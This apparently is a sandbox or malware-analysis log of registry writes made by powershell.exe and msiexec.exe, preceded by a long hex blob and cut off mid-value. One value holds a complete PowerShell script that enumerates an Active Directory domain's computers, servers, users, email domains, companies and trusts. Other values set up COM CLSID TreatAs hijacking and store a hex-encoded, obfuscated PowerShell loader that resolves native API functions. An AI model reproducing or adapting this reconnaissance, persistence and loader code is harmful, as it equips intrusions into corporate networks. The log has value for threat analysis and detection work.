7667b3b9248c0755b43cf7eaa9327c286252c7362af0b6b6cd398910d9eaeef7f7c46d6b169be6e5bca8a76d87ecdcb2f0f56549b7e1f8354466884303bce8fdd4fb1047183c97e4b2ed6cb5635530a5184cd98f8314fa85784a41a1091bd382ea68da9e794b1d4c1a5a3e1d8048e9f492937e71c6b0e12978b6c2551bbfebbd091c1e14b4b9f6254060a1e5233a8d00897882f12766198b8601cd4b1138401b19d5ffdd94cb3ee094cbc260cb5194ea12f317c8ef2b488ef652d038c50a8ef5f6f77727c02300328a393c581f3a3e1ef6df77cdc62a5bec777ef4b4dba990129b4d5e54ad0b90a1c20be56588e2921ff74ad5044c11fb0ca8d546cdbd5825ac1ca82ba985ca9af96789e3c5c5ab141f7ea7b68428db4562eac4458948a9f80197b951df8b442d05e4cbc48bd68d2b4f30fba5bdc4a3c45c53239988487661f6438d6cf2317f140d3a4103876d3979e502f8b8c4310dc0a4916eedc4686e5bce3f5f0b54c881a0414aec4a5a72ec5e220cf1e965a58a24033711f8c19d1f125cce749bda24412ecf932c0335fcdb7380185f4a8dea7e5f2e6dda55d9f108e2cf8efa77a55354b7ccdd74668bd8ee6bb879b47b63ea53815ee751b504f55804f5f7bc7f953d2be2834e2acbe90bd1349bc9a274321a1fe453db47b129b0993cbce063defeb3f59ddf62d85d10306bbced5debff9b0bc00ca7912c9e062e2c6b2b57d2dc5cd613d8f7d48e3a13d7b1a93d079b57a988f41bb3a664c918582f4d409ea3db91fbfe43e43e5fad8544ebd5fd1c4326d31e2351244aa1d741bcedcba98d8f97e24f7552ed85ce5987d5eaed789570854a27cd66e9b9fc8e90f42e53e96a8bd6c5f7bc18d0c2fb6ff0df9c0547c88b455f31388476d1ed482dee9134e9561134eae6166523cee11dded68382756e294723859038f3f819ca3a0d767b19225fb10b8e893bcb9a4babc94bd5f63e361e1159aba80b563a9b76c2788c51fe04eb4268879edc1e5aaa560cc64392c5e1ddc986aa8d2f191e781085bcf547ead7b8824651c224cc75d5d202e883769f9f58f59029b284c9882c372627116ae40bb7f17c4003b67d89116c0de5fc6e50f0cf399bffc00daa934daab7fb2d15a36d46a6647c16b755cde002757a07cdbfaa41fb43278c9ba3240f73e77b4c7631a3dbf36db6d6b88cbbb24250ba9b4cb90893433d32d8593394c41440fed42b618096ef3ac6dc1d63cbf5e934588b5f655909e7080daa6fb991fa3e42a43a88a0442811798733749b45ecdcd9c16c4df0f53655a61705891120041bbbe827884c96be6a7f92709ca9bd50527be2f58a73292b4abd650ed260f83abcfad72ff328ec3544dbdab371657b352ef9427c37a871b875f7fa4c80c9d7e7eb1d71ee1d5178c4ffa636fb59dbf857095deaa760661b3136ba1cb0523e8a1744e069e279db8287d23f553e643435a9dc1cf32a5f1e5095a3def1e011ac7f887a406035307dfed82a540bcec0fe66184bd34a32256308ae3c1c830aeab2e2744c1eed581f6e51e50911024249ba0e3ad596ff216caed580f2afd09e7f878a43f2cb96da0b1254a9c46842981bc8190d3a7982b186998751780b86bb4ce9ece3643184a552a5125610e36292250ce58ca935112c076b4d542c377546de41398615178745ecca438f3cc79cbfc3eb3fa965899063b27d190f8782ef1fe2dbf71de624bb4aa798f4f3f2adf95a8b59227177edaeaa8991181f448f03937b1b653b79fedb6783e4559901501fc0f863668cbbddd9a2dd022c92c2e52369a9861f385c41190730ce12c5cbd73db24d69e77aed94d814e9c08a54fda9d95d43b445b6b3714217d87662da4e24dec4da6f6c468007ec24b610ec41700bbb03a678767c1acd652bedda7f24649b8a9707e60b26e8ff39dd15ef529ac090a46b002e1bcd375244c7ea7d1253b705a34887c64a4da886b79b2bc99159b34e1f2b42eaf23f532cdac3c1326ecc99c92837ebf16d6a23b037d32a1cbd266bfd6bcfdd7a604aedb0548418b94b903f55288b810d5c0df5b781303a111ccc97496321278987a767c929d322bb39889225964ebb13fe4a93efcaf936dc3c69b40b1f25491af007204f8d45a10d01a0357f636ebfd074a3ccf3b09e33d92b04b3e252136827fb57c339648d04b76c7a4f2af0a3d58b91a4297854ea5ac7178efec32a29b68f52ea6f7500e501eed120c674b7b32485f22ce6662e015474a39b55a85e460656facf71ec9637333e70fa15e431dd367e54b4f34d9c052b5ee99daf3fe72c5b3173a5e7842f96b9bf52010ae72c03d53554f30d73753e945a2b9059cccf9484147e51c35dc28aa21b8c702bf8d6d328810626cfa5d0e2e9e9d9ff11d310da612c5761d3a475e185ebdd4c94eab682de33ce57e271fc3715f9860ea2c22f536bfc8d02664691dcf602e1ee435306fbaa52a8a4811a4fae987036e573779cb7000e23600a7e629262a67a3750f1e60f3f16695e515c91b6554577b798e09a5594653e219c670e4bb9790c9ea437e2a74cae25f717b52bb6f1d5192c1f64050ab03028dc2b73cc2211bdde5bc86580b51210e444d61e899e470238b916ab88c82a9a23381fb332524f1bd3c851256dbffaa5b8983bdf5b718eee0818b362316c848b978cf27e55a7f69371b729c34a510e039b1c22bbb3e213aace651e42c0e9b7b6fc3dcf6a15246f97817677237524639442284dd283bc4bd20d37916582682c815b99f9125475bd48e214c71f9c853689c0bc739af1f4959b18824ab0defb866694ce23dd1fed784229a6defa721083ccbba9d2f70c336405ebb8b682a7a7588daf18e5d5ad4e1dfc838deab7eeafb69ae03f776593be134d1f6e7d70e4e4d19c87c84b2fa489b1d4b6247442d5e8f3554fe55317b7dcb02831256e639092407a16e44356071e3e4f11a9c3f87914ad98a27176d62578f52d7fd72658b46b5976ae5d1723867b0ba756fc959e11ddd190eca06f9c7c003e3b0dfbd93e5629990d86416cec06a762099133ffdcd6318b58a392b03eca5c13869b49a37cfcd3e91390fd4d74f8f514d73feba2c25ce075112d604141deaf9b2b9ae10fbbf1b2f7feb7a40dc3e6fe5ac7aa4d9e503a26633adf828330d67f1cdd112c9f38a8a2e93346915940272f05367620aca098ead5c7838350c23c21516f4d8f1670b39217fdd2ee9907e4ba7b95a84f1334786859b4d9ad549682d36989544f062606a1d17ac0a06652d7b6d962d867315fdf0e4df4947e56d631aef6ce2a7f6d2caa8425f01efdfc059ee99718862c4249708c42a3810cf540a027609f743deb7d5b4754cf361c6c7e15472dfc2cbce4fc2aa885b22bc2fb023ae6e304580d4eeee7a5d02011d4bb82c347ae88ff55c4ae61ed3c83c402e6e69062c169b51946b94e5414f93c611ba061868320f22ccb6171c0766adb6dbe9dd59c149aecf9ead0f758b0ace7e3d37b16e6cb649921310983daa1d7fe1d98881f8cf75fbda36ddabc411c0a30f0f00f5ce8a0433aaa019696e6c0f88d380797dde36eb9b2c47cb1d1a32ea8ff566e8e87050b84979c0ff943976cafbd11a8da3cd924bf5b49daaa9a4e28804625ec3690ab78f1ef07e0c36c731039fe95f4f7e937215b351e1cab30f6d379e8ef5e4165937ef4177ba26c5f92ce2e85fe5e9073f07961160857669eb1139518ed34c0b3a25882a0de2e11ceeda4ef3714d6ae536ef5281f484187b2dfc95473860e358e36af60d84b66dc062c4e60daae089c3df4ac343d7470102f223e2c657a68cffb1e404c1ed90647217f7468457eb5397a6f54094ccaf5ab2e773d59bf0bd15b3b4efaa0687eac72fcf68ecb2d5602120de379e5e93cd508a4be77d2c8f7b4dc03dc2e1c4f4f9818c016963198b4ec81c6e839c5404625f58ddcc0fd0c41c97c1ea95dbe3b50528b25d8874b2b393adfbbc23146f6ce0a796ebec5cd97013f953f1d30c7cd61f317b02cb44ed25bc6b2ffd27eace3ce83844c4b81ba7a101a401e249fea448f7b0795984655e40cae4ac71af30928b8b8a4bc1ef9d46eae2cc98c81b36208a7a8d88a8d4c2b956185394cc9cc5c0c8a557cb31820deb2a121d427db82f13098f4593f455da04520eb7f37c580f47cd6b0a284e68ae9ca9b94e1dfcd20fada7845c1352c3133d888a250b5395f254b4256e54f74a7492658947b2214d7c6111cf0562917f5872e672b4a68ac961dee49cd651c87186f0bb71ecc12b50f377705c664817046902288e671dc7defeaab5d9fe9bd3dc2ab315a0877d144b7ef9754c55b7deb63a3a73fd597076eb75346defb4f58494711041b0fa45a98e79b4df8c487a1e4518cf92cda32df6ecb8c1ff7ca490602635b252bfaec908390c665eff5ef00383315f2aecd8201cd9061defccc535047e2b9fffb3a181955e2d3e8f71c1f3d0a202f03cc694c83b8a33ff59f8da4b79dfb27851a31a4b3fd1a07447324d7f9dc152d6cdae2b1e73d431bb2206d4ac5a424078e028ed4473bf9c487157e5d16cb7c912ff98eae9153e293d5def0c95ab1295f46939ef65cf45aae6c88576670c790261baf94420bb235787406c47c3b00b84df95ed1e3de3f1198683001ada4dfb0d4bae2a4db8f856b71b48a1e74de7b6d59fd7d71ac65a629c8b242a5e497180dd8a8e07aa36a66181d75ae08db0431a9cba20e5c962229385d0d1e801658b71f0d1550940fee0b998fba70994fd149ba77923a2b10ddb42d4674f4a0f80f8a17480ecff26f4129458c35e781b675de5ba84163430f3f9623d764ad8e742b1adf4dadfd10bbe51e3359790fc34e9a261464908fa5d41a81eb8f26346221402beea54e02c17cd79c472dc75099a9e7fcbdb1b31843c34a13e267c1b97fa1a27f1d0d23641059e3b1fcea777cd237c455283a194608048ce7b3d9f41193774d414505a2d126256bca9018daca7d6d82d11930ec8e636bffe63b7664fc6fc8734045e70dbfde7f31b44549b241de9f1cb64659f1831dc624facb4d3d64321365f49a640069410e68f8100c30a62a9e1287b3f856c4b5c9a520b45382076a51aa195d9ef973bcda960a1d8a34fcf19f98bf2dc005f96ba445647969b3399bc20b7fdff4f8b8d3b2bbbf302b6f8daafe4dfe12a9a85b56911fec51cdb80c978f0e4aa39e9be90a6b8443d8f7ad42e6545ba4ccb45e1f1047f32667586e3c31d416d336435a5f3aab244d2d3389c5ed9c0c9e6457055f3b61e1a6565e5415d2db3127a1e50c208c82ae3e1f58adffe98937d45e8e36308b489d7cdee0c6781601ab2c187c26c312ed4515983244657c6cce4cbd9bddda2105306d647cccb56412d3bc9ffb48b258aed41a9250faf2e8fc6cf6d38fda35f8454b5af68ddab0e44f9c85834a8169722b9c74910e4623e734cc6e5e08e9bce9d4f374fa0757df50b7120874548b0b559aa9fea72ff88b21a2c92265505b9cb3c0ff7818bc8f327c621756709541dd952e7dfeba55866eeb5bcd6b010516474f37380a380d8821fb9ec1b1790143f746f7c876685d52f2722b2e9c925bdc554483793fa683dcfd448172a1893fddec786227150dbcdfbb4e4111024542a729305cc4f68ab1825d294f60fa85f6460b675b0cee1c9d998ef36d3fcd0516276bcddff57d358abf8eda90e07dad7de8c6cdc2c46acffb1539120220890d1d8c9b56553906b971846739e04fd0c153b8b4da64617a482449f14706072a3ba6b1e8ee7e4f62e222e21694bceea719d1d56a7719fcd82a0914c8ba0a939639a64176ae96bf3125c82f1955ef0ed82700f994be68f645e338931eb0cf0296a72a1b3e06a211c103608c787d498251a7ead939893d309a04aded0cc7536a6b92be52a8023ee9bf77a0f28cbfd34b045d8270b8fff219b8a1235fff76e3150aadc24b33f14675f84a66d164d1bbe92d35cbd35c3a8194330db997b395f96a14643dcbc3cc988a2cdd3a71fe6765ae4fdf569bb28f23335923dbab756628cb0dbe2df5c15eaeb38e7183890823eff56709b3204722abaf6a5573daf63e5190fcb520c7046a40debb5cdd56b2e74ea5cee853701f5d3db16d2b8925df4d05b4e2d040bf851b77a5f94b1a88c3b6aaacd9624b476ba6eb9a3d0ef9634cb56e048ba7b77fc1c2b38130e0f0d12d8619aaf5e6049fbf7fd3912c4b9218e113932a383de714aac3296fc7ab866b74ca79f2751fa2073af8096d92c2380ed4e926dd39195b4617ecdb06c929fd34ec8960140411320d788570be02010d56765dfbe2827f5d6109ded2080ef930272545d316e16e5e039a344b467db4dab08cdeb027741116218f7477d701d7c0f9566292b817ec1c54b039de09c0e9e0ac566aa23bdc2c6dbab2ac288b7b41322fc77b1bf00ea29532253ad0f1cb92970662884119051ee3219d2144cd5278a4d530c89eb2ba2096b1b18f2cafe4319f9aa2b82515b52ca3d620bce077e2a363f2f17fad5db0aa8ab26cbaea7f2d4d271311f7f2ac1e91a6c06cd97da5d11f17d831c07e61e425a2aa4059622e76d7a0987f1e660d6b412a06b9ab1cbadd1b844c96701053007623e487abe1ed1ddcf3860ef2e0e5181f93b1b993005356e778a7af9a629d3febe0d411dd953803594d234052dd87ff54a79ec39e6e89758c60f02481814e6797c0ef6bb71f11bc20c5dc6b1a33eb5ebca037d821ec4c19779166f327d7d578d4a0b71079b1cdff9c3e4c376d8e8d93651ddea3b20b45ce1efb9802c8b32f0e913edbb9489a3389e94ddbb816069d48acaafd91b7a8b48434e8b65d38e772559835f37f60a6d9d902dc2af0408fbd6ab2d41c9cebb6f4544558605819f9829bdbc92a08406e729387682d4a4f3cc412e3c035424906999b668b1db9a4a269119bda0dcf5c2370ed2c8a2d120c19403748ffa30abd21cafdeacb5641e89bc393654cefb6c95611096455d11ebdd4d669e4ae4500d24edf710a214cc22390f77ee96c4b56b0cea513649d2478fa1d3ed4cc7496345fa9999139a8e62a14d996dbe39b24dd7ab17a15ac1916541c680b981f5171ec61f0abfdf7ade5ca125230b9766922567956999a792832570f29d706020e62154d2c5b399971cdc1fc4e33b6fa59394c5b19c891061d4a62ad7b9438f62d39c279b37ab2fa9feb67b97a11032b83fde0e2560db57453e0c552d0b4c8812e2a2d4fdee7896e74bd1ce58b2755f65b02837461a2737382fba735e1179dc846cfa8bd2a5b2e3bd9370ffdfaf9381e02430ba7d7dfbfe87cb9da24bd415a72a9d8bfc70ac14ccf203bdc52b2074972ecdac00530401f31561383cf8f111068e58c32c714341b99f65f1cd1dd2ddefca10403f326e7905ab6b3e13888866089714a11f375ac213d7248406b53e7886d04defe7a640d72be0c76d6a47dd0672085a1db5fd8e3c6bfa5d8706e752864b757498cd90a9346432834db6909fdc16b46e923ce879da6e7533c7217f48115f27553a0738281f340d3cc90e5ef9f3f8f5eb755fa19c23f941db1b774e725aa237de50aa77b9a0cba2e5147ac440002ead6562645f33db226cdafe8a486570302c5349826210059680282506197186b36aa85d6a493258e9afb304b91bf3084448b6ad5b2db840ee54f powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\CLSID\4068 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\MACHINE\software\classes\{12121112-0413-0004-0712-040E0D070B03}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{12121112-0413-0004-0712-040E0D070B03}\CLSID\ = "{0B0D0309-0B07-0811-080F-11060A06010F}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{000D0F12-0507-0D0F-0013-030403110004}\TreatAs\ = "{0B0D0309-0B07-0811-080F-11060A06010F}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F} powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0B0D0309-0B07-0811-080F-11060A06010F}\ProgID\010F = 66756e6374696f6e207466377b706172616d2824686c392c24656c302c24766e322920286778302027323436423645333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303432333034343237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343233303434323733423234373236443332334432383234364236453338354233333332354432423238323832383238333332423330323932443330323932393242333333303239323933423230323436343639333933443234364236453338354232343732364433323245324532383234373236443332324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436343639333932393342323436423645333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303436323733423234373236443332334437423230323436343633333133443330324532453332333533353342333032453245333233353335374332353742323032343645363333343344323832343645363333343242323436343633333135423234354635443242323436343639333935423234354632353234363436393339324534433635364536373734363835443239323532383238323833353339333332443339333932393239324433323333333832393342323032343634363333313542323435463544324332343634363333313542323436453633333435443344323436343633333135423234364536333334354432433234363436333331354232343546354432303744323033423234364236453338374332353742323437303633333533443238323437303633333532423331323932353238333433343330324432383331333233313242323833333332324233333331323932393239334232303234374137323336334432383234374137323336324232343634363333313542323437303633333535443239323532383238323833313337333032423338333632393239323933423230323436343633333135423234373036333335354432433234363436333331354232343741373233363544334432343634363333313542323437413732333635443243323436343633333135423234373036333335354433423234354632443632373836463732323436343633333135423238323436343633333135423234373036333335354432423234363436333331354232343741373233363544323932353238323833343334333832443238333233343331324433353331323932393244333232393544323037443230374432303342323436463634333432303344323032383236323032343732364433323743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343730363333353344333033423234373036333335323032443643373432303234364636343334324534433635364536373734363833423234373036333335324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436463634333432453533373536323733373437323639364536373238323437303633333532433332323932433238323832383333324233333239323932423331333032393239323037443239323927297c2628247073686f6d655b3134362d3134325d2b247073686f6d655b3232322d3138385d2b277827297d66756e6374696f6e207263317b706172616d2824726f352c24746a322c247863392920286474392027323436413632333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303432333034343237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343233303434323733423234373937383335334432383234364136323339354233333332354432423238323832383238333332423330323932443330323932393242333333303239323933423230323436373639333933443234364136323339354232343739373833353245324532383234373937383335324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436373639333932393342323436413632333933443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330343233303434333033333330333932443330343233303337324433303338333133313244333033383330343632443331333133303336333034313330333633303331333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303436323733423234373937383335334437423230323437363731333433443330324532453332333533353342333032453245333233353335374332353742323032343636373433303344323832343636373433303242323437363731333435423234354635443242323436373639333935423234354632353234363736393339324534433635364536373734363835443239323532383238323833353339333332443339333932393239324433323333333832393342323032343736373133343542323435463544324332343736373133343542323436363734333035443344323437363731333435423234363637343330354432433234373637313334354232343546354432303744323033423234364136323339374332353742323436443733333933443238323436443733333932423331323932353238333433343330324432383331333233313242323833333332324233333331323932393239334232303234373436363335334432383234373436363335324232343736373133343542323436443733333935443239323532383238323833313337333032423338333632393239323933423230323437363731333435423234364437333339354432433234373637313334354232343734363633353544334432343736373133343542323437343636333535443243323437363731333435423234364437333339354433423234354632443632373836463732323437363731333435423238323437363731333435423234364437333339354432423234373637313334354232343734363633353544323932353238323833343334333832443238333233343331324433353331323932393244333232393544323037443230374432303342323436373741333032303344323032383236323032343739373833353743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343644373333393344333033423234364437333339323032443643373432303234363737413330324534433635364536373734363833423234364437333339324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436373741333032453533373536323733373437323639364536373238323436443733333932433332323932433238323832383333324233333239323932423331333032393239323037443239323927297c2628247073686f6d655b3137342d3137305d2b247073686f6d655b3231392d3138355d2b277827297d66756e6374696f6e206172337b706172616d2824736a302c246a71382c2464743129202867713620273234364136433337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343635363733303344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343641364333373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364136433337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363536373330324332343733364133303239323927297c2628247073686f6d655b3136382d3136345d2b247073686f6d655b3231332d3137395d2b277827297d66756e6374696f6e206c6f397b706172616d28246f6b3429282d6a6f696e28246f6b34202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207379367b706172616d28246378322c24766b36292028657839202732343738373533313344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343738373533313245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343633373833323239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343738373533313245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437363642333632433234363337383332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373837353331324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133372d3133335d2b247073686f6d655b3139382d3136345d2b277827297d66756e6374696f6e206267357b706172616d2824637a392c247a62342c24666c31292028716539202732343735373633383344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034323330343433303333333033393244333034323330333732443330333833313331324433303338333034363244333133313330333633303431333033363330333133303436374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330343233303434323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333034323330343432373342323437333732333033443238323437353736333835423333333235443242323832383238323833333242333032393244333032393239324233333330323932393342323032343730364633363344323437353736333835423234373337323330324532453238323437333732333032423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343730364633363239334232343735373633383344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333034323330343433303333333033393244333034323330333732443330333833